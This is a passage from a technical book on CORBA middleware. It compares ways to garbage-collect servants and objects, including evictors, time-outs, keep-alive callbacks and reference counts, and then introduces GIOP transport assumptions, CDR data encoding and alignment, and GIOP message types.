destroy objects. Specifically, a client invokes a create operation on a factory interface, 
which returns a reference to a new object to the client. The new object is now ready for 
use by the client. After the client is finished with the object, the client invokes the 
remove or destroy operation on the object to destroy it. Here is a simple IDL 
definition that illustrates this principle: 
       
interface ShortLived { 
    short   do_something(); 
    void    destroy(); 
}; 
 
interface ShortLivedFactory { 
    ShortLived  create(); 
}; 
 
      
We call the interface ShortLived to indicate that the objects created by the factory are 
not expected to be used for extended periods. In addition, let us assume for the moment 
that no persistent state is associated with ShortLived objects, so the server is likely to 
implement them using the TRANSIENT POA policy. This assumption is not unrealistic; 
we describe this session-oriented approach on page 528 in Chapter 11. Also, as you 
will see in Section 18.7, the Factory pattern is frequently used to create transient 
objects as well as persistent ones. 
 
As long as our clients play the object creation and destruction game by the rules, we do 
not have a problem. Every call to create is balanced by a corresponding call to 
destroy, and all objects that are created are eventually destroyed again. 
 
Unfortunately, the rules of this game are dangerous to the server. Every time a client calls 
create, the server instantiates a servant for the new object and relies on the client to 
call destroy later. This raises an issue of trust: if a client neglects to call destroy for 
some reason, the server is left in the situation in which it has an instantiated servant that 
consumes resources and no way to get rid of it. 
 
There are many reasons that a call to destroy may never happen. 
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The client might, from maliciousness or ignorance, neglect to call destroy. 
A bug in the client might cause it to crash before it can call destroy. 
The network between client and server might be disrupted. 
 
A power failure on the client side might prevent the client from ever calling destroy. 
These are only some of the things that can cause a call to create without a 
corresponding call to destroy. In a surprisingly short amount of time (possibly only 
minutes), such problems can cause a server to crash because it runs out of memory or can 
degrade performance to the point that the server might as well be dead. 
 
What we are looking for is a way for the server to get rid of the unused servants, or to 
garbage-collect them. We examine a number of techniques to do this in the following 
sections. For the time being, we restrict ourselves to discussing the garbage collection of 
servants. In Section 12.8, we turn to the issue of garbage collection of CORBA 
objects and explain how we might achieve it. 

12.7.2 Garbage Collection by Shutting Down 

The suggestion may seem naive at first glance, but an entirely viable option can be to get 
rid of garbage by simply shutting down the server. In fact, this is precisely the strategy 
used by many production systems to deal with memory leaks. If the leaks are not too 
serious, it may be sufficient to shut down a server briefly, say at midnight each day, and 
to restart the server with a clean slate.[3]  

[3] We are serious here. We have seen more than one production system employing this 
strategy. Especially for large systems that have been maintained over years, shutting down 
once per day can be much more cost-effective than trying to track down and fix all the 
memory leaks. 

For a CORBA server, shutdown may well be a viable option. In particular, as you will 
see in Section 14.1, most ORBs can automatically activate a server on demand and 
stop a server after a period of idle time. These features are non-standard, but we might as 
well take advantage of them if they are available. 
 
If some garbage objects have accumulated in the server but there are periods of idle time 
in between invocations that are longer than the server's idle time-out, the automatic server 
shutdown cleans up all the servants for transient objects. (We are tacitly assuming that 
the server will shut down cleanly and properly destroy its servants. Simply exiting is not 
an option in environments such as embedded systems or Windows 98, where the 
operating system does not guarantee to clean up after a process.) 
 
Shutting down the server may not be an option because some servers simply cannot be 
switched off even for brief periods. In addition, if clients present the server with a 
continuous work load, there may never be an idle period that is long enough for the 
server's idle time-out to trigger, so we need better solutions. 

12.7.3 Using the Evictor Pattern for Garbage Collection 
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The Evictor pattern we discuss in Section 12.6 can make an effective garbage 
collector. The Evictor pattern takes care of automatically disposing of unused servants. If 
servants are created and lost by clients, no more invocations arrive for these servants. 
This means that, quite quickly, unused servants migrate to the head of the evictor queue, 
where they are reaped when an invocation arrives for a servant that is not yet in memory. 
 
Using the Evictor pattern, the worst case is that all the servants on the evictor queue are 
garbage and therefore consume memory that may be better used elsewhere. However, we 
can typically afford this, because we would be consuming the same amount of memory if 
all these servants were still in use. 
 
Before we continue discussing other options for garbage collection, we strongly 
recommend that you give serious consideration to using the Evictor pattern for garbage 
collection of servants. The Evictor pattern, with minor variations, is the only reliable 
option we are aware of that is easy to implement and non-intrusive. The techniques that 
follow either are more difficult to design and implement correctly, or they pollute the 
IDL interfaces with garbage collection operations. 

12.7.4 Using Time-Outs for Garbage Collection 

Another way to get rid of unused servants is to equip each servant with a timer. When the 
client creates a new object, it can specify a time-out value via a parameter to the factory 
operation, or, alternatively, the server can assign a default time-out value. The servant 
implementation in the server resets each servant's timer whenever a client invokes an 
operation. (Doing this is especially easy if we use a servant locator's preinvoke 
operation to reset the timer.) When a servant's timer expires, the servant commits suicide. 
 
Time-outs are quite similar to the Evictor pattern. In both cases, the server applies a 
heuristic to determine when a servant should be destroyed. In the case of the Evictor 
pattern, the heuristic is the expected frequency with which new servants are activated, 
which determines how long it will take on average for an unused servant to get pushed 
off the end of the evictor queue. With time-outs, the heuristic is simply the amount of 
time that must elapse before a servant is considered stale and is reaped. 
 
The time-out approach shares some problems with the Evictor pattern. In particular, 
choosing an appropriate time-out value can be difficult. Allowing the client to select the 
time-out value is dangerous because clients are likely to play it safe and to select a long 
time-out. Assigning a default time-out in the server can also be difficult because the 
server often has little idea of the behavior patterns of its clients. If the time-out is too long, 
too many garbage servants may accumulate, whereas if the time-out is too short, the 
server can end up destroying a servant that is still in use by a client. 
 
Apart from the problems shared with the Evictor pattern, time-outs add their own 
problems. Time-outs can be delivered to a servant asynchronously in the form of a signal 
or other interrupt-like mechanism, or the server can ask for time-outs synchronously by 
calling an API call that delivers expired timers. Neither approach is ideal. 
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Asynchronous timers have the habit of going off at the most inopportune moments. Often, 
at the time the signal arrives, the server is not in a state in which it can react to the signal 
immediately and reap the servant whose timer has expired. In that case, the signal handler 
must deposit the expired timer information in a global data structure that can be checked 
later for expired timers. Implementing the required logic can be quite difficult. 
 
Synchronous timers require the server to explicitly check to collect the expired timer 
information. However, if a server is single-threaded, it may not be able to check. For 
example, if the server uses the blocking ORB::run operation, an extended period of idle 
time will cause the server to go to sleep in the ORB's event loop. During that time, there 
is no way for the server to invoke an API call because its only thread of control is 
blocked in the event loop. The server could instead write its own event loop that polls the 
ORB for work items using ORB::work_pending and ORB::perform_work and 
polls its timers whenever the ORB is not busy, but writing and maintaining these loops 
can be tedious. 
 
Depending on their implementation, timers can be quite heavyweight. In addition, the 
number of available timers is often severely limited by the underlying OS, so there may 
not be enough timers for all servants that need them. 
 
The timer approach is best suited for servers that are multithreaded. In that case, we can 
use a separate reaper thread to clean up servants. The reaper thread can block until a 
timer expires, synchronously clean up the expired servant, and go back to sleep until the 
next timer expires. On the other hand, if a server is not multithreaded, the Evictor pattern 
is typically easier to use as a garbage collector than are time-outs. 

12.7.5 Explicit Keep-Alive 

We can make clients responsible for keeping servants alive by adding a ping operation to 
each interface. By default, the servant will be garbage-collected after some period of idle 
time. If the client does not want to invoke ordinary operations on the servant for some 
time but still wants to ensure that the servant is not reaped by the server, the client must 
call the ping operation to reset the servant's timer. 
 
Because this approach uses timers, it suffers all the drawbacks of the pure timer approach. 
In addition, it makes the presence of garbage collection visible to the client and requires 
the client to actively participate. This pollutes IDL interfaces with operations that have 
nothing to do with the interfaces' logical functions. In addition, requiring the client to call 
a ping operation simply shifts the problem from server to client without solving it. 
Having to call a ping operation periodically may be just as inconvenient to the client as 
polling a timer would be to the server. 

12.7.6 Reverse Keep-Alive per Object 

Reverse keep-alive requires the client to pass a callback object to the server. For example: 
       
interface ShortLived { 
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    short do_something(); 
    void  destroy(); 
}; 
 
interface KeepAlive { 
    void ping(in ShortLived obj); 
}; 
 
interface ShortLivedFactory { 
    ShortLived  create(in KeepAlive cb_obj); 
}; 
 
      
When the client creates an object, it must also supply a reference to a KeepAlive object 
to the server. The KeepAlive object is implemented by the client, and the server 
periodically invokes the ping operation to see whether the client still wants the object. If 
the ping from server to client fails—for example, with OBJECT_NOT_EXIST—the 
server reaps the corresponding servant. 
 
Although initially attractive, this technique has a number of serious drawbacks. 
 
The client must somehow maintain the association between its KeepAlive objects and 
the references returned by the factory because there are as many KeepAlive objects in 
the client as there are ShortLived objects in the server. The client must deliberately 
fail the server's ping operation if it no longer wants to use the corresponding 
ShortLived object—for example, by destroying its own KeepAlive object. 
However, garbage objects are often created when the client forgets to call destroy and 
not just because of network failure. If the client forgets to call destroy, then it 
presumably will also forget to destroy its KeepAlive object, so the problem we have 
now may in fact be worse then the original one. 
 
The keep-alive technique doubles the number of objects in the system because each 
ShortLived object created in the server is paired with its corresponding KeepAlive 
object in the client. Doubling the number of objects in the system may be too expensive 
in terms of resources such as memory and network connections. 
 
For the client to offer a callback object to the server, the client must act as a server for the 
duration of the callback. This complicates the implementation of the client because, at the 
very least, the client must have a POA and run an event loop. Depending on the features 
provided by the client's ORB, this may require the client to be multithreaded. It is not 
reasonable to expect clients to add multithreading to their implementation just so that 
they can respond to callbacks. 
 
The server is burdened by the need to invoke callbacks on the KeepAlive objects in the 
client. This not only adds to the complexity of the server but also adds networking 
overhead. If the number of objects in the system is large or if the time-out interval 
between keep-alive callbacks is too short, a substantial amount of network bandwidth can 
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be lost because of excessive callback traffic. In general, callback-based approaches suffer 
from a number of scalability problems, as we describe in Chapter 20. 
 
Overall, reverse keep-alive per object adds a lot of complexity to our system without 
really solving the problem. 

12.7.7 Per-Client Reverse Keep-Alive 

Per-client reverse keep-alive modifies the preceding idea by having only a single 
KeepAlive object in the client for all objects created by the client. The server still calls 
back, but it no longer attempts to detect abandoned individual objects. Instead, if an 
invocation of the ping operation fails, the server simply destroys all servants created by 
the client. 
 
This technique helps to detect failures in which the client has crashed and is therefore 
unable to destroy the objects it has created. However, the approach suffers from two 
major problems. 
 
Often, objects are leaked because the clients forget to call destroy rather than because 
the client or the network has crashed. However, the per-client keep-alive approach does 
not detect objects that are leaked while the client is still able to respond to the callback 
from the server. 
 
The approach requires a single KeepAlive object to be passed from client to server, but 
it is difficult to actually achieve this. To maintain a one-to-one association between client 
and server, they both must establish some form of session concept. However, that goes 
against the CORBA object model, which does its best to hide from clients how objects 
are distributed over servers. In other words, the requirement for a one-to-one 
correspondence destroys server transparency. 

12.7.8 Detecting Client Disconnection 

Some ORBs provide proprietary extensions that allow the server code to detect when a 
connection from a client goes down. The server application code can use this as a trigger 
to destroy the servants the client created. Detecting client disconnects also creates a 
number of problems. 
 
As you will see in Chapter 13, IIOP does not allow the server-side run time to 
distinguish orderly from disorderly disconnection. A client is free to close its connection 
to a server at any time and to reopen that connection later. Consequently, the server 
cannot assume that a disconnected client is no longer interested in the objects it has 
created unless the server also makes assumptions about the client's connection 
management strategy. Any such assumptions are outside the guarantees provided by the 
CORBA specification. 
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To clean up the client's objects on disconnect, the server must know which objects were 
created by which client and on which connection. This in itself can be a difficult problem 
if the number of clients and objects is large. In addition, any solution is necessarily 
proprietary because CORBA does not standardize API calls that would allow the server 
to detect on which connection it receives an incoming request. 
 
As with the reverse keep-alive per-client approach, detecting disconnect works only if the 
client actually disconnects. However, it does not work if the client remains connected and 
continually leaks objects because of a bug. 
 
In summary, detecting disconnects can be useful in limited circumstances, but it does not 
solve the general garbage collection problem and requires proprietary APIs. 

12.7.9 Distributed Reference Counts 

CORBA uses the duplicate and release operations to keep track of how many 
object reference instances denote the same proxy in an address space. It is tempting to 
extend this idea to the distributed case and to reference-count servants. We can achieve 
this by creating a RefCountBase interface such as the following: 
       
interface RefCountBase { 
    void increment(); 
    void decrement(); 
}; 
 
      
The idea is that objects that should be reference-counted inherit from this base interface. 
The server sets the reference count to 1 when it creates a new object and passes the object 
reference to the client. The client calls decrement when it is finished with the object. If 
a server passes a reference to the same object to another client, the server increments the 
reference count again and expects the second client to call decrement after it is 
finished with the object. The server destroys the object after all the clients have called 
decrement, and the reference count drops to zero. 
 
Reference counting looks attractive because it permits an object to be shared among a 
number of clients. However, we again face serious problems. 
 
If a client crashes before it gets around to calling decrement, the reference count is left 
too high and will never drop to zero. In other words, crashing clients cause the same 
problems with reference counting as they do with a normal destroy operation. 
 
Reference counting is error-prone because a single missed call to decrement by a 
client permanently prevents deletion of the servant, and too many calls to decrement 
causes premature destruction. 
 
Reference counting is intrusive to the IDL interfaces and requires explicit cooperation 
from clients. We could create helper classes similar to _var types to make distributed 
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reference counting easier for clients, but that solution only makes mistakes less likely 
instead of preventing them. 
 
The additional calls over the network for the increment and decrement operations 
may generate more network traffic than we can tolerate, at least for short-lived objects. 

12.7.10 Summary of Options 

As the discussion shows, there are no easy solutions for garbage collection. The most 
promising approach is the Evictor pattern, which is easy to implement and effective in 
many situations. All the remaining options are difficult to implement, intrusive, 
proprietary, or error-prone and so are unlikely to be worth pursuing. 
 
We could attempt to remedy some of the problems described here with additional effort 
or by combining various techniques. For example, in a distributed reference counting 
approach, we could use one of the ping techniques to adjust reference counts that are left 
too high by crashed clients. However, that brings us to the most serious drawback: it 
simply is not reasonable for application developers to invent grand garbage collection 
schemes for their applications. Not only is the effort required far too high, but also the 
different schemes would most likely be incompatible, and application developers would 
find themselves in a maze of incomprehensible garbage collection requirements. 
 
For garbage collection to work in a practical manner, it must be provided by the platform. 
The OMG has taken initial steps to add garbage collection to CORBA [23]. However, it 
is likely that several more years will pass before we will see garbage collection as a 
platform feature. Until then, the Evictor pattern will have to do. 

12.8 Garbage Collection of CORBA Objects 

So far, we have considered garbage collection only of transient servants for transient 
references. This arrangement simplifies the problem considerably because, in this case, 
the servant and the CORBA object are almost always the same thing; they are both 
created at the same time and destroyed at the same time, and using servant managers for 
transient objects is somewhat unusual. When we consider persistent CORBA objects, 
however, it becomes difficult even to decide what garbage collection should mean, let 
alone how to implement it. 
 
Consider a persistent CORBA object representing a person. The object could keep a 
record of personal details in a database. Clearly, person objects have long life cycles, 
typically measured in decades. If we want garbage collection for CORBA objects, we 
must decide what garbage collection actually means. In particular, if we have a servant 
representing a person object in memory and decide to garbage-collect the servant, the 
question arises whether destroying the servant should also destroy the persistent database 
record of the person. For persons, the answer is most likely "no." The fact that the servant 
is destroyed does not necessarily mean that the persistent record, which represents the 
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CORBA object, should also be destroyed. After all, the fact that we have reclaimed a 
servant to free some memory does not mean that the corresponding person has died. 
 
Looking at objects with a shorter life span, it becomes more difficult to make a clear-cut 
decision about whether to destroy only the servant or both it and the CORBA object. For 
example, we may have document objects that represent documents in an archive. 
Typically, when clients "lose interest" in a document, we want to reclaim the servant for a 
document object but retain the persistent state of the document. For example, the 
attention span of most people for doing their taxes is quite short. However, the tax office 
has a much longer attention span and may well develop interest in a particular document 
some years after the last client has used it. On the other hand, sooner or later, the statute 
of limitations expires and we want to garbage-collect not only the servant for the 
document but also its persistent state. To make matters worse, when the time has come to 
destroy the document, there may be no servant in existence to remind us that it is time to 
destroy it. 
 
The preceding examples show that the meaning of garbage collection is highly dependent 
on each application's requirements. In some cases, to garbage-collect an object means to 
reap its servant. In other cases, both servant and persistent state must be destroyed, and in 
yet still others, the circumstances change over time. 

12.8.1 The Pacific Ocean Problem 

Let us make a simplifying assumption for a moment by stating that to garbage-collect a 
CORBA object always means to destroy both the servant (if one exists) and the persistent 
state for the object. What we would like then is that no explicit call to destroy be 
necessary to make an object disappear. Instead, we would like the object to hang around 
for as long as clients are interested in it and to automatically disappear after the last client 
loses interest. Unfortunately, it is generally impossible to know when that time has 
arrived. 
 
Consider the following scenario: You are stranded on an island in the Pacific Ocean, with 
a CORBA server as your only link to the rest of the world (you can reply to CORBA 
messages, but you cannot send them). Being desperate to get home, you decide to create a 
persistent SOS object in your CORBA server. You write the stringified IOR for your 
object on a piece of paper, put it into a bottle, and, having carefully inserted the cork, you 
toss the bottle into the ocean. 
 
The bottle floats around for a few months and eventually washes ashore in Australia, 
where it is found by someone strolling along the beach. Luckily, the finder of your bottle 
knows all about CORBA, de-stringifies the object reference, contacts your object to learn 
about your predicament, and comes to the rescue. 
 
Contrived as this example is, it illustrates an important point: because CORBA permits 
persistent references to propagate by uncontrollable means, there is no way of knowing 
whether or not an IOR is still of interest to some client. In the preceding scenario, the 
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IOR continues to be of interest while it is floating in the Pacific Ocean, and the finder of 
the bottle has every right to expect a CORBA invocation via the IOR to reach your SOS 
object. 
 
Of course, we do not normally store object references in the Pacific Ocean. However, an 
equivalent action is to write a stringified reference into a file, to send a stringified 
reference in an e-mail message, or to bind a reference in the Naming Service (see 
Chapter 18). The semantics of persistent references make it impossible to safely 
garbage-collect an object. We could decide to destroy an object at any time without 
warning, but that might leave a client with a dangling reference. The next time that client 
used the reference, it would get an OBJECT_NOT_EXIST exception. 

12.8.2 Referential Integrity 

Dangling references fall under the broader topic of referential integrity. A system of 
CORBA objects and their IORs has referential integrity if there are no dangling 
references (references without objects) and there are no orphaned objects (objects that 
cannot be contacted via a reference). As an analogy, the Web would exhibit referential 
integrity if there were no broken links and if every page could be reached from some 
starting point by traversing some sequence of links. Clearly, it is difficult to maintain 
referential integrity in a heterogeneous distributed system that spans enterprise and 
administrative boundaries; random failures that compromise referential integrity are 
unavoidable. 
 
One way to deal with lack of referential integrity is to live without it. In real life, we cope 
with lack of referential integrity all the time. For example, when people dial a telephone 
number and get a "no such number" message (the equivalent of a dangling reference), 
they do not throw up their hands in despair. Instead, they have a number of fallback 
behaviors to recover from the problem (such as using the phone book or calling directory 
assistance). 
 
In CORBA, the equivalent fallback behavior is not to rely on references to work at all 
times but to dynamically reacquire them when they fail. However, the effort required to 
implement such fallback behavior is prohibitive for applications. For example, both 
transactions and garbage collection can be effectively used to guarantee referential 
integrity and to provide fallback behavior in a system. But unless such features are 
provided by the underlying platform, they might as well not exist. 

12.8.3 The Future of Garbage Collection 

This section has raised more questions than it has answered. The problem of distributed 
garbage collection is largely unsolved and belongs firmly in the research area, at least for 
general-purpose object models such as CORBA's. The point of this discussion is to 
illustrate the deep issues we encounter when we start to consider what it means to destroy 
a servant or a CORBA object and how we would decide which to destroy. We also hope 
that we have shown enough about these problems to make you wary if a member of your 
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next project suggests that you "just implement a simple garbage collector." Unless you 
can define precisely how such a collector would work, you should hold any such 
suggestion firmly at arm's length. 

12.9 Summary 

This chapter presents approaches to managing the life cycle of objects. The OMG Life 
Cycle Service offers one possible approach, but because of the problems associated with 
this service, you may be better off creating non-standard interfaces that preserve type 
safety. The Evictor pattern offers a simple and effective way to limit memory 
consumption in servers, and that is the key to creating servers that scale to large numbers 
of objects. In addition, the Evictor pattern provides an effective and transparent way to 
garbage-collect your servants. The more general topic of garbage collection of CORBA 
objects is largely unsolved because it is difficult to reconcile with the CORBA object 
model as well as application semantics. 
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Part III: CORBA Mechanisms 
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Chapter 13. GIOP, IIOP, and IORs 

13.1 Chapter Overview 

Even though CORBA goes to great lengths to shield applications from the details of 
networking, it is useful to have at least a basic understanding of what happens under the 
hood of an ORB. In this chapter, we present an overview of the General Inter-ORB 
Protocol (GIOP) and the Internet Inter-ORB Protocol (IIOP), and we explain how 
protocol-specific information is encoded in object references. Our treatment is by no 
means exhaustive. We show just enough of the protocols to give you a basic 
understanding of how CORBA achieves interoperability without losing extensibility. 
Unless you are building your own ORB, the precise protocol details are irrelevant. You 
can consult the CORBA specification [18] if you want to learn more. 
 
Sections 13.2 to 13.6 provide an overview of GIOP, including the requirements it 
makes on the underlying transport and its data encoding and message formats. Section 
13.7 then describes IIOP, which is a concrete realization of the abstract GIOP 
specification. Section 13.8 shows how IORs encode information so that the protocols 
available for communication can be extended without affecting interoperability. Section 
13.9 outlines changes made to the protocols with the CORBA 2.3 revision. 

13.2 An Overview of GIOP 

The CORBA specification defines the GIOP as its basic interoperability frame-work. 
GIOP is not a concrete protocol that can be used directly to communicate between ORBs. 
Instead, it describes how specific protocols can be created to fit within the GIOP 
framework. IIOP is one concrete realization of GIOP. The GIOP specification consists of 
the following major elements. 
 
Transport assumptions 
GIOP makes a number of assumptions about the underlying transport layer that carries 
GIOP protocol implementations. 
Common Data Representation (CDR) 
GIOP defines an on-the-wire format for each IDL data type, so sender and receiver agree 
on the binary layout of data. 
Message formats 
 
GIOP defines eight message types that are used by clients and servers to communicate. 
Only two of these messages are necessary to achieve the basic remote procedure call 
semantics of CORBA. The remainder are control messages or messages that support 
certain optimizations. 

13.2.1 Transport Assumptions 
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GIOP makes the following assumptions about the underlying transport that is used to 
carry messages. 
 
The transport is connection-oriented. 
 
A connection-oriented transport allows the originator of a message to open a connection 
by specifying the address of the receiver. After a connection is established, the transport 
returns a handle to the originator that identifies the connection. The originator sends 
messages via the connection without specifying the destination address with each 
message; instead, the destination address is implicit in the handle that is used to send each 
message. 
 
Connections are full-duplex. 
The receiving end of a connection is notified when an originator requests a connection. 
The receiver can either accept or reject the connection. If the receiver accepts the 
connection, the transport returns a handle to the receiver. The receiver not only uses the 
handle to receive messages but can also use it to reply to the originator. In other words, 
the receiver can reply to the requests sent by the originator via the same single connection 
and does not need to know the address of the originator in order to send replies. 
 
Connections are symmetric. 
After a connection is established, either end of the connection can close it. 
 
The transport is reliable. 
The transport guarantees that messages sent via a connection are delivered no more than 
once in the order in which they were sent. If a message is not delivered, the transport 
returns an error indication to the sender. 
 
The transport provides a byte-stream abstraction. 
The transport does not impose limits on the size of a message and does not require or 
preserve message boundaries. In other words, the receiver views a connection as a 
continuous byte stream. Neither receiver nor sender need be concerned about issues such 
as message fragmentation, duplication, retransmission, or alignment. 
 
The transport indicates disorderly loss of a connection. 
If a network connection breaks down—for example, because one of the connection 
endpoints has crashed or the network is physically disrupted—both ends of the 
connection receive an error indication. 
 
This list of assumptions exactly matches the guarantees provided by TCP/IP. However, 
other transports also meet these requirements. They include Systems Network 
Architecture (SNA), Xerox Network Systems' Internet Transport Protocol (XNS/ITP), 
Asynchronous Transfer Mode (ATM), HyperText Transfer Protocol Next Generation 
(HTTP-NG), and Frame Relay.[1]  

[1] The only standardized protocol based on GIOP is IIOP, which uses TCP/IP as its transport. 
However, the OMG is likely to specify inter-ORB protocols for other transports in the future. 
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13.3 Common Data Representation 

GIOP defines a Common Data Representation that determines the binary layout of IDL 
types for transmission. CDR has the following main characteristics. 
 
CDR supports both big-endian and little-endian representation. 
 
CDR-encoded data is tagged to indicate the byte ordering of the data. This means that 
both big-endian and little-endian machines can send data in their native format. If the 
sender and receiver use different byte ordering, the receiver is responsible for byte-
swapping. This model, called receiver makes it right, has the advantage that if both 
sender and receiver have the same endianness, they can communicate using the native 
data representation of their respective machines. This is preferable to encodings such as 
XDR, which require big-endian encoding on the wire and therefore penalize 
communication if both sender and receiver use little-endian machines. 
 
CDR aligns primitive types on natural boundaries. 
CDR aligns primitive data types on byte boundaries that are natural for most machine 
architectures. For example, short values are aligned on a 2-byte boundary, long values 
are aligned on a 4-byte boundary, and double values are aligned on an 8-byte boundary. 
Encoding data according to these alignments wastes some bandwidth because part of a 
CDR-encoded byte stream consists of padding bytes. However, despite the padding, CDR 
is more efficient than a more compact encoding because, in many cases, data can be 
marshaled and unmarshaled simply by pointing at a value that is stored in memory in its 
natural binary representation. This approach avoids expensive data copying during 
marshaling. 
 
CDR-encoded data is not self-identifying. 
CDR is a binary encoding that is not self-identifying. For example, if an operation 
requires two in parameters, a long followed by a double, the marshaled data consists 
of 16 bytes. The first 4 bytes contain the long value, the next 4 bytes are padding with 
undefined contents to maintain alignment, and the final 8 bytes contain the double 
value. The receiver simply sees 16 bytes of data and must know in advance that these 16 
bytes contain a long followed by a double in order to correctly unmarshal the 
parameters. 
 
This means that CDR encoding requires an agreement between sender and receiver about 
the types of data that are to be exchanged. This agreement is established by the IDL 
definitions that are used to define the interface between sender and receiver. The receiver 
has no way to prevent misinterpretation of data if the agreement is violated. For example, 
if the sender sends two double values instead of a long followed by a double, the 
receiver still gets 16 bytes of data but will silently misinterpret the first 4 bytes of the first 
double value as a long value. 
 
CDR encoding is a compromise that favors efficiency. Because CDR supports both little-
endian and big-endian representations and aligns data on natural boundaries, marshaling 
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is both simple and efficient. The downside of CDR is that certain type mismatches cannot 
be detected at run time. In practice, this is rarely a problem because the stubs and 
skeletons generated by the C++ mapping make it impossible to send data of the wrong 
type. However, if you use the DII or DSI, you must take care not to send data of the 
wrong type as operation parameters because, at least in some cases, the type mismatch 
will go undetected at run time. 
 
Other encodings do not suffer from this problem. For example, the Basic Encoding Rules 
(BER) used by ASN.1 use a Tag-Length-Value (TLV) encoding, which tags each 
primitive data item with both its type and its length. Such encodings provide better type 
safety at run time but are less efficient in both marshaling overhead and bandwidth. For 
this reason, most modern RPC mechanisms use encodings similar to CDR, in which data 
is not tagged with its type during transmission. 

13.3.1 CDR Data Alignment 

This section presents an overview of the CDR encoding rules. Again, we do not cover all 
of CDR here. Instead, we show the encoding of a few IDL types to illustrate the basic 
ideas. 

Alignment for Primitive Fixed-Length Types 

Each primitive type must start at a particular byte boundary relative to the start of the 
byte stream it appears in. The same requirements apply to both little-endian and big-
endian machines. Table 13.1 shows the alignment requirements for fixed-length 
primitive types. 

Table 13.1. CDR alignment of primitive fixed-length types. 
Alignment IDL Types 

1 char, octet, boolean 
2 short, unsigned short 
4 long, unsigned long, float, enumerated types 
8 long long, unsigned long long, double, long double 
1, 2, or 4 wchar (alignment depends on codeset) 

Encoding of Strings 

Strings and wide strings are encoded as an unsigned long (aligned on a 4-byte offset) 
that indicates the length of the string, including its terminating NUL byte, followed by the 
bytes of the string, terminated by a NUL byte. For example, the string "Hello" 
occupies 10 bytes. The first 4 bytes are an unsigned long with value 6, the next 5 
bytes contain the characters Hello, and the final byte contains an ASCII NUL byte. This 
means that an empty string occupies 5 bytes: 4 bytes containing a length of 1, followed 
by a single NUL byte. 

Encoding of Structures 
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Structures are encoded as a sequence of structure members in the order in which they are 
defined in IDL. Each structure member is aligned according to the rules in Table 13.1; 
padding bytes of undefined value are inserted to maintain alignment. Consider the 
following structure: 
        
struct CD { 
   char  c; 
   double d; 
}; 
 
       
This structure contains a character, which can occur anywhere in a byte stream, followed 
by a double value, which must be aligned on an 8-byte boundary. Figure 13.1 shows 
how this structure would appear on the wire, assuming it starts at the beginning of a byte 
stream. 

Figure 13.1 Structure of type CD encoded at the beginning of a byte stream. 

 
Figure 13.1 indicates the offsets at which each value is encoded. The first byte of the 
stream, at offset 0, contains the value of the member c of the structure. This is followed 
by 7 padding bytes at offset 1 and, beginning at offset 8, the 8 bytes for the member d of 
the structure. 
 
It is interesting to note that a structure of type CD does not always appear as a 16-byte 
value. Depending on the other data that precedes the structure on the wire, the length of 
the structure may vary. For example, consider the following operation, which accepts a 
string followed by a structure of type CD: 
        
interface foo { 
  void op(in string s, in CD ds); 
}; 
 
       
When a client marshals a request to invoke op, it sends all the in parameters end-to-end 
according to CDR encoding rules. Assume for the moment that the parameters when sent 
inside the request begin at an 8-byte offset and that the client sends the string "Hello" 
as the value of the parameter s. Figure 13.2 shows the resulting encoding. 

Figure 13.2 CDR encoding of the string "Hello" followed by a structure of 
type CD. 

 
The encoding for the value "Hello" consumes 10 bytes: 4 bytes for the length and 6 
bytes for the actual string. The second parameter is the structure of type CD. Because the 
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member c is of type char, it can be aligned anywhere, so the value of c is encoded 
immediately following the string at byte offset 10. The d member of the structure must be 
aligned on an 8-byte boundary, so c is followed by 5 bytes of padding, followed by the 8 
bytes required to hold the value of d. 
 
Note that the size of the structure CD in Figure 13.2 is 13 bytes, whereas in Figure 
13.1, a value of the same type consumes 16 bytes. In other words, the amount of 
padding for a structure varies depending on the starting offset of the structure within a 
byte stream. This is different from the binary representation of structures in most 
programming languages. For example, in C++ (at least on most architectures) a structure 
of type CD would always be aligned on an 8-byte boundary and would consume 16 bytes 
of memory regardless of what data preceded or followed it. In general, CDR alignment 
rules apply only to primitive types; there are no separate alignment rules for structured 
data. Instead, structured data is aligned according to the rules for primitive members, with 
padding bytes (of undefined value) inserted to maintain alignment. 
 
This example also shows that to correctly decode a CDR-encoded byte stream, the 
receiver must know what data to expect in advance. For example, the receiver of the byte 
stream in Figure 13.2 must know in advance that the first data item is a string because 
that in turns allows the receiver to determine at what offset in the byte stream it can find 
the structure that follows the string. 

Summary 

We do not show the encoding of other IDL types here. There are CDR encoding rules 
that cover all possible IDL types, such as unions, sequences, arrays, exceptions, type 
codes, type any, object references, and so on. The main point to remember is that all IDL 
types have well-defined encodings, and that ensures interoperability between ORBs. In 
general, CDR encoding requires advance knowledge by the receiver of what types of 
values to expect. This means that CDR-encoded data is not self-describing and that 
sender and receiver are obliged to honor the interface contract established by IDL 
definitions. 

13.4 GIOP Message Formats 

GIOP was first defined by CORBA 2.0, revised with CORBA 2.1, and revised again with 
CORBA 2.3. This resulted in three versions of GIOP: versions 1.0, 1.1, and 1.2. The 
main additions in the later versions are support for message fragmentation in GIOP 1.1 
and support for bidirectional communication in GIOP 1.2. 
 
Message fragmentation allows for more efficient marshaling of data onto the wire. It 
permits the sender to send data for a single request in several fragments without having to 
buffer and marshal in advance all the data for a request. 
 
Bidirectional communication is important for communication through firewalls. For 
example, the Callback pattern (see Section 20.3) requires a server to also act as a 
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client. GIOP 1.2 allows the server to initiate requests on the connection that was opened 
by the client. This means that the server does not have to open a separate connection for a 
callback, only to find itself blocked by a firewall. 
 
Later versions of GIOP are backward-compatible with earlier versions. This permits older 
clients to communicate with newer servers because newer servers must support all 
previous protocol versions. Similarly, newer clients can communicate with older servers 
because clients are not allowed to use a later version than the one supported by the server. 
We do not cover GIOP in full detail in this book. Instead, we cover only a subset to 
illustrate the general principles. In addition, the discussion that follows covers GIOP 
versions 1.0 and 1.1. We briefly return to GIOP 1.2 in Section 13.9. 

Table 13.2. GIOP message types. 
Message Type Originator 

Request Client 
Reply Server 
CancelRequest Client 
LocateRequest Client 
LocateReply Server 
CloseConnection Server[a]  
MessageError Client or Server 
Fragment[b]  Client or Server 

[a] Can be sent by client or server in GIOP 1.2. 

[b] GIOP 1.1 and 1.2. 

GIOP has eight message types, as shown in Table 13.2. Of these message types, 
Request and Reply are the workhorses because they implement the basic RPC 
mechanism. We show these two message types in some detail and only briefly describe 
the remainder. 
 
A Request message is always sent from client to server and is used to invoke an 
operation or to read or write an attribute. Request messages carry all in and inout 
parameters that are required to invoke an operation. 
 
A Reply message is always sent from server to client, and only in response to a previous 
request. It contains the results of an operation invocation—that is, any return value, 
inout parameters, and out parameters. If an operation raises an exception, the Reply 
message contains the exception that was raised. 
 
